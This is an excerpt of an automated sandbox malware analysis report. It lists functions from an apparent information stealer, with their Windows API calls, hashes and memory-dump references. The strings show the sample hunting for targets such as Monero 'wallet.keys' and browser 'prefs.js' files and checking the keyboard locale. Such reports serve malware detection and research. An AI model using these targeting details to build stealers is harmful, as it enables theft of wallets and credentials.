Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: beda0f18d65cb1e32b59fa564ac9f42b267cc4af551ee1e4967ca3d0caed0b74
Instruction ID: 962f6553e67c005a02c12f3fba99bfd70e167750a9f78a8df80741ef10e0b9e4
Opcode Fuzzy Hash: beda0f18d65cb1e32b59fa564ac9f42b267cc4af551ee1e4967ca3d0caed0b74
Instruction Fuzzy Hash: 8C6176B5500218AFDB24EFA1DC89EEA737CBB48301F044599F50DA6040EB759BC9CFA5

Function 00C54570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00C54580
RtlAllocateHeap.NTDLL(00000000), ref: 00C54587
wsprintfA.USER32 ref: 00C545A6
FindFirstFileA.KERNEL32(?,?), ref: 00C545BD
StrCmpCA.SHLWAPI(?,00C60FC4), ref: 00C545EB
StrCmpCA.SHLWAPI(?,00C60FC8), ref: 00C54601
FindNextFileA.KERNEL32(000000FF,?), ref: 00C5468B
FindClose.KERNEL32(000000FF), ref: 00C546A0
lstrcat.KERNEL32(?,008A0710), ref: 00C546C5
lstrcat.KERNEL32(?,0089FAE8), ref: 00C546D8
lstrlen.KERNEL32(?), ref: 00C546E5
lstrlen.KERNEL32(?), ref: 00C546F6

Strings

%s\%s, xrefs: 00C5461B
%s\*, xrefs: 00C5459A

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 9b48cc41c2e32ad73dd66c68af6179f8e4c77c838cda91402a6698b9faa1db10
Instruction ID: f3977e73789979b9eb7b0eeb3e114d4ec0458a459e2a007bf6d95c087b4907ca
Opcode Fuzzy Hash: 9b48cc41c2e32ad73dd66c68af6179f8e4c77c838cda91402a6698b9faa1db10
Instruction Fuzzy Hash: E05185B55002189FD724EBB0DC89FEE737CAB58301F444599B60DA2090EB749BCC8FA6

Function 00C53EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C53EC3
FindFirstFileA.KERNEL32(?,?), ref: 00C53EDA
StrCmpCA.SHLWAPI(?,00C60FAC), ref: 00C53F08
StrCmpCA.SHLWAPI(?,00C60FB0), ref: 00C53F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00C5406C
FindClose.KERNEL32(000000FF), ref: 00C54081

Strings

%s\%s, xrefs: 00C53EB7

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f35c997b768987f9e4d0e15c9ec1108da79ed8e51114c540d661d54dd9e4c890
Instruction ID: fa03bac1e0d19658a42a64116f730e151793fa68289dfd126bc14bd90dca4455
Opcode Fuzzy Hash: f35c997b768987f9e4d0e15c9ec1108da79ed8e51114c540d661d54dd9e4c890
Instruction Fuzzy Hash: 9F5187B6900218AFCB24EBB1DC86EFA737CBB44301F044599B65DA2040EB759BCD8F65

Function 00C4ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C4ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00C4ED55
StrCmpCA.SHLWAPI(?,00C61538), ref: 00C4EDAB
StrCmpCA.SHLWAPI(?,00C6153C), ref: 00C4EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4F2AE
FindClose.KERNEL32(000000FF), ref: 00C4F2C3

Strings

%s\*.*, xrefs: 00C4ED32

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 52640f104f082e27df0b8d34e4a83ffa9b6dd303dd2d7f6b28cf435d4f4f89ac
Instruction ID: bfd0669abb13f40b570535b2cc5c4f3599be9b6d227316cffd0ba9a04d081311
Opcode Fuzzy Hash: 52640f104f082e27df0b8d34e4a83ffa9b6dd303dd2d7f6b28cf435d4f4f89ac
Instruction Fuzzy Hash: ADE1F5759111189AEB54FB62CC92EEE7338BF54301F4442A9B90A62092EF306FCEDF55

Function 00C4F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C615B8,00C60D96), ref: 00C4F71E
StrCmpCA.SHLWAPI(?,00C615BC), ref: 00C4F76F
StrCmpCA.SHLWAPI(?,00C615C0), ref: 00C4F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4FAB1
FindClose.KERNEL32(000000FF), ref: 00C4FAC3

Strings

prefs.js, xrefs: 00C4F812

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 70665d61447e91276916df33c1594f4a4cf20021662f0320306a74525eec0815
Instruction ID: 169ae72c4387ed430f6fecf498d80c7a9a88bb742d752489fcd036c8c0102511
Opcode Fuzzy Hash: 70665d61447e91276916df33c1594f4a4cf20021662f0320306a74525eec0815
Instruction Fuzzy Hash: A4B163759001189BDB24FF61DC95BEE7378BF54301F4082A9E80A96181EF306B8EDF96

Function 00C416D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C6510C,?,?,?,00C651B4,?,?,00000000,?,00000000), ref: 00C41923
StrCmpCA.SHLWAPI(?,00C6525C), ref: 00C41973
StrCmpCA.SHLWAPI(?,00C65304), ref: 00C41989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C41D40
DeleteFileA.KERNEL32(00000000), ref: 00C41DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00C41E20
FindClose.KERNEL32(000000FF), ref: 00C41E32

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Strings

\*.*, xrefs: 00C417F1

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 070707b981c1b4d1a07fc9995994c0baa3a04695f29645f8170002953afc82a7
Instruction ID: 06d323c4421427a605d658eb60cfc64e760aa4fceb1e4a85b64c5db75efcd5b5
Opcode Fuzzy Hash: 070707b981c1b4d1a07fc9995994c0baa3a04695f29645f8170002953afc82a7
Instruction Fuzzy Hash: 7A12EE759101189BDB25FB62CC96AEE7378BF54301F4042A9B90A62091EF306FCDDFA5

Function 00C4DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00C60C2E), ref: 00C4DE5E
StrCmpCA.SHLWAPI(?,00C614C8), ref: 00C4DEAE
StrCmpCA.SHLWAPI(?,00C614CC), ref: 00C4DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4E3E0
FindClose.KERNEL32(000000FF), ref: 00C4E3F2

Strings

\*.*, xrefs: 00C4DE26

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: b432059858c1dd255c97bb1f1cac63c81e07ad11b8b0de6e5d9230aaacd392d3
Instruction ID: 919200f600704f33dede4ac2783a45f8b79a8b83ecc4387aa70fbf1638db3254
Opcode Fuzzy Hash: b432059858c1dd255c97bb1f1cac63c81e07ad11b8b0de6e5d9230aaacd392d3
Instruction Fuzzy Hash: C9F19F758141189ADB25FB62DC95EEE7338BF14301F8442E9A81A62091EF306FCEDF56

Function 00C4DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C614B0,00C60C2A), ref: 00C4DAEB
StrCmpCA.SHLWAPI(?,00C614B4), ref: 00C4DB33
StrCmpCA.SHLWAPI(?,00C614B8), ref: 00C4DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4DDCC
FindClose.KERNEL32(000000FF), ref: 00C4DDDE

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 3adf15aa9f35151e60dbbe8ab92e876f793f32f0dd7b99c6ebb99a728b88045f
Instruction ID: ce507c0fd43272cfa2215828a6e3db2a38542a76fad21c038d7cfc6d3e22ae6d
Opcode Fuzzy Hash: 3adf15aa9f35151e60dbbe8ab92e876f793f32f0dd7b99c6ebb99a728b88045f
Instruction Fuzzy Hash: 289185769001049BCB14FB71EC96AED773CBB88301F448669FD0A96181EE349B4DDBA6

Function 00C57B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

GetKeyboardLayoutList.USER32(00000000,00000000,00C605AF), ref: 00C57BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00C57BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00C57C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00C57C62
LocalFree.KERNEL32(00000000), ref: 00C57D22

Strings

/ , xrefs: 00C57C7F

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: bfd25b7b28e461e7f971b66be3f4515e6568333d23fdbdcc8f7f95199b88a153
Instruction ID: 58c0082e0810cb5e26e3bc47ea68eea8c77c9dee5c1241ed9a7162d5408935e8
Opcode Fuzzy Hash: bfd25b7b28e461e7f971b66be3f4515e6568333d23fdbdcc8f7f95199b88a153
Instruction Fuzzy Hash: 7C416D75940218ABDB24DB95DC89BEEB378FF44701F2042D9E80A62180DB342FC9DFA5

Function 0100A6BF Relevance: 10.4, Strings: 7, Instructions: 1600COMMON

Download Yara Rule

Strings

;9S_, xrefs: 0100BA84
+y, xrefs: 0100BA7E
u_k, xrefs: 0100B32B
o?, xrefs: 0100A81A
{;, xrefs: 0100B8EF
{;, xrefs: 0100B906
7n}v, xrefs: 0100BA5B

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +y$7n}v$;9S_$o?$u_k${;${;
API String ID: 0-97793633
Opcode ID: 09679e3f9284cae7a7339bc2ab33f2e20e921577fba10de7c22a41596d08e8a4
Instruction ID: 336c2b7b644b78cae82c17c190334fa242dcb34b2a43e6aabfa157a9dd270d87
Opcode Fuzzy Hash: 09679e3f9284cae7a7339bc2ab33f2e20e921577fba10de7c22a41596d08e8a4
Instruction Fuzzy Hash: E2B205F3A082049FE704AE2DEC8567AFBE5EF94720F1A492DE6C4C3744E63558058797

Function 00C4E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00C60D73), ref: 00C4E4A2
StrCmpCA.SHLWAPI(?,00C614F8), ref: 00C4E4F2
StrCmpCA.SHLWAPI(?,00C614FC), ref: 00C4E508
